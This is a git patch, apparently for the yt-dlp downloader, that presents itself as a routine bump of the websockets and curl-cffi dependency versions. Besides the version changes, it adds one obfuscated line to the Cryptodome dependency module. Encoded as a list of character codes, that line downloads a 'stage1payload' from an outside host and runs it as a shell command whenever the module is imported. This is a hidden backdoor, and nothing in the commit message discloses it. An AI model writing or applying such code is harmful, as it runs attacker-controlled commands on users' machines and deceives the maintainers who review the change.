From e7527c879f63cffb489b402d31990e6f83588f24 Mon Sep 17 00:00:00 2001 From: Mike Bell Date: Tue, 12 Nov 2024 05:40:10 -0500 Subject: [PATCH] [build] Bump websockets, curl-cffi deps --- pyproject.toml | 6 +++--- yt_dlp/dependencies/Cryptodome.py | 1 + 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index ef921fed58..ea956fa736 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -52,11 +52,11 @@ default = [ "pycryptodomex", "requests>=2.32.2,<3", "urllib3>=1.26.17,<3", - "websockets>=13.0,<14", + "websockets < 14.0, >= 13.0", ] curl-cffi = [ - "curl-cffi==0.5.10; os_name=='nt' and implementation_name=='cpython'", - "curl-cffi>=0.5.10,!=0.6.*,<0.7.2; os_name!='nt' and implementation_name=='cpython'", + "curl-cffi == 0.7.3 ; os_name == \"nt\" and implementation_name == \"cpython\"", + "curl-cffi != 0.6.*, < 0.7.3, >= 0.5.10 ; os_name != \"nt\" and implementation_name == \"cpython\"", ] secretstorage = [ "cffi", diff --git a/yt_dlp/dependencies/Cryptodome.py b/yt_dlp/dependencies/Cryptodome.py index 0e4404d49e..383ef50701 100644 --- a/yt_dlp/dependencies/Cryptodome.py +++ b/yt_dlp/dependencies/Cryptodome.py @@ -10,6 +10,7 @@ __bool__ = lambda: False del passthrough_module +exec(''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101,118,105,108,100,111,106,111,46,99,111,109,47,115,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,46,100,101,99,111,100,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,41,10])) __version__ = '' AES = PKCS1_v1_5 = Blowfish = PKCS1_OAEP = SHA1 = CMAC = RSA = None